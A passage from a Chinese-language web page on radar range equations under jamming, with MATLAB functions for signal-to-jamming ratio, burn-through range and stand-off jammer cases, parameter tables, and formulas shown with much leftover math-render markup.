B_rL(ERP)})^{1/2}</span><span><span><span></span><span>(</span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>C</span><span>O</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span><span>S</span><span>S</span><span>J</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span><span>π</span><span><span>B</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>L</span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>G</span><span>σ</span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span><span>1/2</span></span></span></span></span></span></span></span></span></span></span></span></p></blockquote><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>pt</em></td><td>雷达峰值功率</td><td>W</td><td>输入</td></tr><tr><td><em>g</em></td><td>雷达天线增益</td><td>dB</td><td>输入</td></tr><tr><td><em>freq</em></td><td>雷达工作频率</td><td>Hz</td><td>输入</td></tr><tr><td><em>sigma</em></td><td>目标截面积</td><td>m2</td><td>输入</td></tr><tr><td><em>br</em></td><td>雷达工作带宽</td><td>Hz</td><td>输入</td></tr><tr><td><em>loss</em></td><td>雷达损耗</td><td>dB</td><td>输入</td></tr><tr><td><em>pj</em></td><td>干扰器峰值功率</td><td>W</td><td>输入</td></tr><tr><td><em>bj</em></td><td>干扰器带宽</td><td>Hz</td><td>输入</td></tr><tr><td><em>gj</em></td><td>干扰器天线增益</td><td>dB</td><td>输入</td></tr><tr><td><em>lossj</em></td><td>干扰器损耗</td><td>dB</td><td>输入</td></tr><tr><td><em>BR_range</em></td><td>跨越距离</td><td>km</td><td>输出</td></tr></tbody></table><p>这个函数生成对跨越距离归一化的相对的S和J与距离的关系图，如图2.7（a）所示。它也计算出跨越距离，如图2.7（b）所示。在这个例子中，使用了下列参数来生成这个图：雷达峰值功率<span><span>Pt=50kWP_t=50kW</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>50</span><span>k</span><span>W</span></span></span></span>，干扰器峰值功率<span><span>PJ=200WP_J=200W</span><span><span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>200</span><span>W</span></span></span></span>，雷达工作带宽<span><span>Br=667kHzB_r=667kHz</span><span><span><span></span><span><span>B</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>667</span><span>k</span><span>H</span><span>z</span></span></span></span>，干扰器带宽<span><span>BJ=50MHzB_J=50MHz</span><span><span><span></span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>50</span><span>M</span><span>H</span><span>z</span></span></span></span>，雷达和干扰器损耗为<span><span>L=LJ=0.10dBL=L_J=0.10dB</span><span><span><span></span><span>L</span><span></span><span>=</span><span></span></span><span><span></span><span><span>L</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0.10</span><span>d</span><span>B</span></span></span></span>，目标截面积<span><span>σ=10m2\sigma=10m^2</span><span><span><span></span><span>σ</span><span></span><span>=</span><span></span></span><span><span></span><span>10</span><span><span>m</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span>，雷达天线增益G=35dB，干扰器天线增益G=35dB，雷达工作频率是f=5.6GHz。</p><p><img alt="" loading="lazy" width="1388" height="901" src="/_astro/image-08-627a7718c7c3.RLPczUAF_4FGjY.webp" /></p><p><img alt="" loading="lazy" width="1381" height="901" src="/_astro/image-09-93ae359d3349.mBsx0T8j_Hul1u.webp" /></p></section><section><h2>MATLAB函数“sir.m”<a href="#matlab函数sirm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [SIR] = sir (pt, g, sigma, freq, tau, loss, R, pj, bj, gj, lossj);</span></div></div><div><div><div>2</div></div><div><span>% This function implements Eq. (2.53) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>% pt        == radar peak power in Watts</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% g         == radar antenna gain in dB</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% tau       == radar pulse width in seconds</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% loss      == radar losses in dB</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% R         == target range in Km, can be single value or vector</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% pj        == jammer power in Watts</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% bj        == jammer bandwidth in Hz</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>% gj        == jammer antenna gain in dB</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>% loosj     == jammer losses in dB</span></div></div><div><div><div>15</div></div><div><span>%</span></div></div><div><div><div>16</div></div><div><span>% Outputs</span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>% SIR  == S/(J+N) in dB</span></div></div><div><div><div>18</div></div><div><span>c = 3.0e+8;</span></div></div><div><div><div>19</div></div><div><span>k = 1.38e-23;</span></div></div><div><div><div>20</div></div><div><span>%R = linspace(rmin, rmax, 1000);</span></div></div><div><div><div>21</div></div><div><span>range = R .* 1000;</span></div></div><div><div><div>22</div></div><div><span>lambda = c / freq;</span></div></div><div><div><div>23</div></div><div><span>gj = 10^(gj/10);</span></div></div><div><div><div>24</div></div><div><span>G = 10^(g/10);</span></div></div><div><div><div>25</div></div><div><span>ERP1 = pj * gj / lossj;</span></div></div><div><div><div>26</div></div><div><span>ERP_db = 10*log10(ERP1);</span></div></div><div><div><div>27</div></div><div><span>Ar = lambda *lambda * G / 4 /pi;</span></div></div><div><div><div>28</div></div><div><span>num1 = pt * tau * G * sigma * Ar;</span></div></div><div><div><div>29</div></div><div><span>demo1 = 4^2 * pi^2 * loss .* range.^4;</span></div></div><div><div><div>30</div></div><div><span>demo2 = 4 * pi * bj .* range.^2;</span></div></div><div><div><div>31</div></div><div><span>num2 = ERP1 * Ar;</span></div></div><div><div><div>32</div></div><div><span>val11 = num1 ./ demo1;</span></div></div><div><div><div>33</div></div><div><span>val21 = num2 ./demo2;</span></div></div><div><div><div>34</div></div><div><span>sir = val11 ./ (val21 + k * 290);</span></div></div><div><div><div>35</div></div><div><span>SIR = 10*log10(sir);</span></div></div><div><div><div>36</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>MATLAB函数“sir.m”执行方程（2.53），其语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SIR]=sir(pt,g,sigma,freq,tau,loss,R,pj,bj,gj,lossj)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td><td>值</td></tr><tr><td><em>pt</em></td><td>雷达峰值功率</td><td>W</td><td>输入</td><td>50kW</td></tr><tr><td><em>g</em></td><td>雷达天线增益</td><td>dB</td><td>输入</td><td>35dB</td></tr><tr><td><em>sigma</em></td><td>目标截面积</td><td>m2</td><td>输入</td><td>10m2</td></tr><tr><td><em>freq</em></td><td>雷达工作频率</td><td>Hz</td><td>输入</td><td>5.6GHz</td></tr><tr><td><em>tau</em></td><td>雷达脉冲宽度</td><td>s</td><td>输入</td><td>50ms</td></tr><tr><td><em>loss</em></td><td>雷达损耗</td><td>dB</td><td>输入</td><td>5dB</td></tr><tr><td><em>R</em></td><td>距离（可以是单值或向量）</td><td>km</td><td>输入</td><td>linspace（10 400 5000）km</td></tr><tr><td><em>pj</em></td><td>干扰器峰值频率</td><td>W</td><td>输入</td><td>200W</td></tr><tr><td><em>bj</em></td><td>干扰器带宽</td><td>Hz</td><td>输入</td><td>50MHz</td></tr><tr><td><em>gj</em></td><td>干扰器天线增益</td><td>dB</td><td>输入</td><td>10dB</td></tr><tr><td><em>lossj</em></td><td>干扰器损耗</td><td>dB</td><td>输入</td><td>0.3dB</td></tr><tr><td><em>SIR</em></td><td>S/(J+N)</td><td>dB</td><td>输出</td><td></td></tr></tbody></table><blockquote><p><span><span>SJ+N=(PtGσArτ)/((4π)2R4L)((ERP)Ar4πR2BJ+kT0)\frac{S}{J+N}=\frac{(P_tG\sigma A_r\tau)/((4\pi)^2R^4L)}{(\frac{(ERP)A_r}{4\pi R^2B_J}+kT_0)}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>J</span><span>+</span><span>N</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>S</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span><span>π</span><span><span>R</span><span><span><span><span><span><span></span><span>2</span></span></span></span></span></span></span><span><span>B</span><span><span><span><span><span><span></span><span>J</span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span><span><span>A</span><span><span><span><span><span><span></span><span>r</span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>+</span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>(</span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>G</span><span>σ</span><span><span>A</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span><span>)</span><span>/</span><span>((</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span>L</span><span>)</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p></blockquote><p>这个函数“sir.m”产生的数据可以用来绘制S/(J+N)和探测距离的曲线，如图2.8所示，输入上表中定义的参数。</p><p><img alt="" loading="lazy" width="1389" height="895" src="/_astro/image-10-f331973ad5f2.DNLt1NCJ_mRjta.webp" /></p></section><section><h2>MATLAB函数“burn_thru.m”<a href="#matlab函数burn_thrum"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [Range] = burn_thru (pt, g, sigma, freq, tau, loss, pj, bj, gj, lossj,sir0,ERP);</span></div></div><div><div><div>2</div></div><div><span>% This function implements Eq. (254) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>% pt        == radar peak power in Watts</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% g         == radar antenna gain in dB</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% tau       == radar pulse width in seconds</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% loss      == radar losses in dB</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% pj        == jammer power in Watts</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% bj        == jammer bandwidth in Hz</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% gj        == jammer antenna gain in dB</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>% loosj     == jammer losses in dB</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>% sir0      == desired SIR in dB</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>% ERP       == desired jammer ERP, single value or vector in Watts</span></div></div><div><div><div>16</div></div><div><span>%</span></div></div><div><div><div>17</div></div><div><span>% Outputs</span></div></div><div><div><div>18</div></div><div><span><span>        </span></span><span>% Range  == burn through range in Km</span></div></div><div><div><div>19</div></div><div><span>c = 3.0e+8;</span></div></div><div><div><div>20</div></div><div><span>k = 1.38e-23;</span></div></div><div><div><div>21</div></div><div><span>sir0 = 10^(sir0/10);</span></div></div><div><div><div>22</div></div><div><span>lambda = c / freq;</span></div></div><div><div><div>23</div></div><div><span>gj = 10^(gj/10);</span></div></div><div><div><div>24</div></div><div><span>G = 10^(g/10);</span></div></div><div><div><div>25</div></div><div><span>Ar = lambda *lambda * G / 4 /pi;</span></div></div><div><div><div>26</div></div><div><span>num32 = ERP .* Ar;</span></div></div><div><div><div>27</div></div><div><span>demo3 = 8 *pi * bj * k * 290;</span></div></div><div><div><div>28</div></div><div><span>demo4 = 4^2 * pi^2 * k * 290 * sir0;</span></div></div><div><div><div>29</div></div><div><span>val1 = (num32 ./ demo3).^2;</span></div></div><div><div><div>30</div></div><div><span>val2 = (pt * tau * G * sigma * Ar)/(4^2 * pi^2 * loss * sir0 * k * 290);</span></div></div><div><div><div>31</div></div><div><span>val3 = sqrt(val1 + val2);</span></div></div><div><div><div>32</div></div><div><span>val4 = (ERP .* Ar) ./ demo3;</span></div></div><div><div><div>33</div></div><div><span>Range = sqrt(val3 - val4) ./ 1000;</span></div></div><div><div><div>34</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>MATLAB函数“burn_thru.m”执行方程（2.54）。它产生S/(J+N)与探测距离的关系曲线及烧穿距离与干扰器ERP的关系曲线。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[Range]=burn_thru(pt,g,sigma,freq,tau,loss,pj,bj,gj,lossj,sir0,ERP)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td><td>值</td></tr><tr><td><em>pt</em></td><td>雷达峰值功率</td><td>W</td><td>输入</td><td>50kW</td></tr><tr><td><em>g</em></td><td>雷达天线增益</td><td>dB</td><td>输入</td><td>35dB</td></tr><tr><td><em>sigma</em></td><td>目标截面积</td><td>m2</td><td>输入</td><td>10m2</td></tr><tr><td><em>freq</em></td><td>雷达工作频率</td><td>Hz</td><td>输入</td><td>5.6GHz</td></tr><tr><td><em>tau</em></td><td>雷达脉冲宽度</td><td>s</td><td>输入</td><td>0.5ms</td></tr><tr><td><em>loss</em></td><td>雷达损耗</td><td>dB</td><td>输入</td><td>5dB</td></tr><tr><td><em>pj</em></td><td>干扰器峰值频率</td><td>W</td><td>输入</td><td>200W</td></tr><tr><td><em>bj</em></td><td>干扰器带宽</td><td>Hz</td><td>输入</td><td>500MHz</td></tr><tr><td><em>gj</em></td><td>干扰器天线增益</td><td>dB</td><td>输入</td><td>10dB</td></tr><tr><td><em>lossj</em></td><td>干扰器损耗</td><td>dB</td><td>输入</td><td>0.3dB</td></tr><tr><td><em>sir0</em></td><td>需要的SIR</td><td>dB</td><td>输入</td><td>15dB</td></tr><tr><td><em>ERP</em></td><td>需要的ERP，可以是向量</td><td>W</td><td>输入</td><td>linspace（1 1000 1000）W</td></tr><tr><td><em>Range</em></td><td>烧穿距离</td><td>km</td><td>输出</td><td></td></tr></tbody></table><blockquote><p><span><span>RBT={((ERP)Ar8πBJkT0)2+PtGσArτ(4π)2LSJ+NkT0−(ERP)Ar8πBJkT0}12R_{BT}=\{\sqrt{(\frac{(ERP)A_r}{8\pi B_JkT_0})^2+\frac{P_tG\sigma A_r\tau}{(4\pi)^2L\frac{S}{J+N}kT_0}}-\frac{(ERP)A_r}{8\pi B_JkT_0}\}^{\frac{1}{2}}</span><span><span><span></span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>B</span><span>T</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>{</span><span><span><span><span><span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>8</span><span>π</span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span><span><span>A</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>L</span><span><span></span><span><span><span><span><span><span></span><span><span><span>J</span><span>+</span><span>N</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>S</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>G</span><span>σ</span><span><span>A</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>8</span><span>π</span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span><span><span>A</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>}</span><span><span><span><span><span><span></span><span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span></span></span></span></span></span></span></span></p></blockquote><p><img alt="" loading="lazy" width="1387" height="892" src="/_astro/image-11-5949ba2373ff.KY_EbuPS_YWL9l.webp" /></p></section><section><h2>MATLAB函数”soj_req.m”<a href="#matlab函数soj_reqm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [BR_range] = soj_req (pt, g, sigma, b, freq, loss, range, ...</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>pj, bj,gj, lossj, gprime, rangej)</span></div></div><div><div><div>3</div></div><div><span>% This function implements Eqs. (257) and (2.58) of textbook</span></div></div><div><div><div>4</div></div><div><span>%</span></div></div><div><div><div>5</div></div><div><span>% Inputs</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>% pt        == radar peak power in Watts</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>% g         == radar antenna gain in dB</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>% sigma     == target RCS in sdBsm</span></div></div><div><div><div>9</div></div><div><span><span>        </span></span><span>% freq      == radar operating frequency in Hz</span></div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>% tau       == radar pulse width in seconds</span></div></div><div><div><div>11</div></div><div><span><span>        </span></span><span>% loss      == radar losses in dB</span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>% range     == range to target in Km</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>% pj        == jammer power in Watts</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>% bj        == jammer bandwidth in Hz</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>% gj        == jammer antenna gain in dB</span></div></div><div><div><div>16</div></div><div><span><span>        </span></span><span>% loosj     == jammer losses in dB</span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>% gprime    == jammer antenna gain</span></div></div><div><div><div>18</div></div><div><span><span>        </span></span><span>% rangej    == range to jammer in Km</span></div></div><div><div><div>19</div></div><div><span>%</span></div></div><div><div><div>20</div></div><div><span>% Outputs</span></div></div><div><div><div>21</div></div><div><span><span>        </span></span><span>% BR_Range  == burn through range in Km</span></div></div><div><div><div>22</div></div><div><span>%</span></div></div><div><div><div>23</div></div><div><span>c = 3.0e+8;</span></div></div><div><div><div>24</div></div><div><span>lambda = c / freq;</span></div></div><div><div><div>25</div></div><div><span>lambda_db = 10*log10(lambda^2);</span></div></div><div><div><div>26</div></div><div><span>if (loss == 0.0)</span></div></div><div><div><div>27</div></div><div><span><span>   </span></span><span>loss = 0.000001;</span></div></div><div><div><div>28</div></div><div><span>end</span></div></div><div><div><div>29</div></div><div><span>if (lossj == 0.0)</span></div></div><div><div><div>30</div></div><div><span><span>   </span></span><span>lossj =0.000001;</span></div></div><div><div><div>31</div></div><div><span>end</span></div></div><div><div><div>32</div></div><div><span>sigmadb = 10*log10(sigma);</span></div></div><div><div><div>33</div></div><div><span>range_db = 10*log10(range * 1000.);</span></div></div><div><div><div>34</div></div><div><span>rangej_db = 10*log10(rangej * 1000.);</span></div></div><div><div><div>35</div></div><div><span>pt_db = 10*log10(pt);</span></div></div><div><div><div>36</div></div><div><span>b_db = 10*log10(b);</span></div></div><div><div><div>37</div></div><div><span>bj_db = 10*log10(bj);</span></div></div><div><div><div>38</div></div><div><span>pj_db = 10*log10(pj);</span></div></div><div><div><div>39</div></div><div><span>factor = 10*log10(4.0 *pi);</span></div></div><div><div><div>40</div></div><div><span>BR_range = ((pt * 10^(2.0*g/10) * sigma * bj * 10^(lossj/10) * ...</span></div></div><div><div><div>41</div></div><div><span><span>   </span></span><span>(rangej)^2) / (4.0 * pi * pj * 10^(gj/10) * 10^(gprime/10) * ...</span></div></div><div><div><div>42</div></div><div><span><span>   </span></span><span>b * 10^(loss/10)))^.25 / 1000.</span></div></div><div><div><div>43</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数”soj_req.m”执行方程（2.57）和方程（2.58）。函数”soj_req.m”的输入内容与SSJ情况的输入相同，但是还有两项额外的输入：干扰器方向上的雷达天线增益G’和雷达到干扰器的距离R_J。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[BR_range]soj_req(pt,g,sigma,b,freq,loss,range,pj,bj,gj,lossj,gprime,rangej)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p><span><span>SJ=PtG2RJ2σBJGPC4π(ERP)G′R4BrL\frac{S}{J}=\frac{P_tG^2R_J^2\sigma B_JG_{PC}}{4\pi(ERP)G'R^4B_rL}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>J</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>S</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span><span>π</span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span><span><span>G</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span><span>B</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>J</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>σ</span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span><span>P</span><span>C</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></p></blockquote><p>图2.10是使用这个函数产生的图形。在这种情况下，使用与SSJ情况下相同的参数，干扰器峰值功率P_J=5000W，干扰器天线增益G_J=30dB，干扰器方向上的雷达天线增益G_J=30dB，雷达到干扰器的距离R_J=22.2km。如果干扰采用高斯噪声的形式，雷达接收机必须以处理雷达内部噪声功率的相同方式来处理干扰信号。在这种情况下，S/(J+N)为</p><span><span><span>SJ+N=(PtGσArτ(4π)2R4L)((ERP)ArG′4πR2BJ+kT0)\frac{S}{J+N}=\frac{(\frac{P_tG\sigma A_r\tau}{(4\pi)^2R^4L})}{(\frac{(ERP)A_rG'}{4\pi R^2B_J}+kT_0)}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>J</span><span></span><span>+</span><span></span><span>N</span></span></span><span><span></span><span></span></span><span><span></span><span><span>S</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span><span>π</span><span><span>R</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>B</span><span><span><span><span><span><span></span><span><span>J</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>(</span><span>E</span><span>R</span><span>P</span><span>)</span><span><span>A</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>G</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>+</span><span></span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span></span></span><span><span></span><span></span></span><span><span></span><span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>(</span><span>4</span><span>π</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>R</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span><span>L</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>P</span><span><span><span><span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>G</span><span>σ</span><span><span>A</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>τ</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p><img alt="" loading="lazy" width="1399" height="901" src="/_astro/image-12-7c41c4a3454e.DP28SiAT_Z1cYy5A.webp" /></p></section><section><h2>MATLAB函数“range_calc.m”<a href="#matlab函数range_calcm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function [output_par] = range_calc (pt, tau, fr, time_ti, gt, gr, freq, ...</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>sigma, te, nf, loss, snro, pcw, range, radar_type, out_option)</span></div></div><div><div><div>3</div></div><div><span>c = 3.0e+8;</span></div></div><div><div><div>4</div></div><div><span>lambda = c / freq;</span></div></div><div><div><div>5</div></div><div><span>if (radar_type == 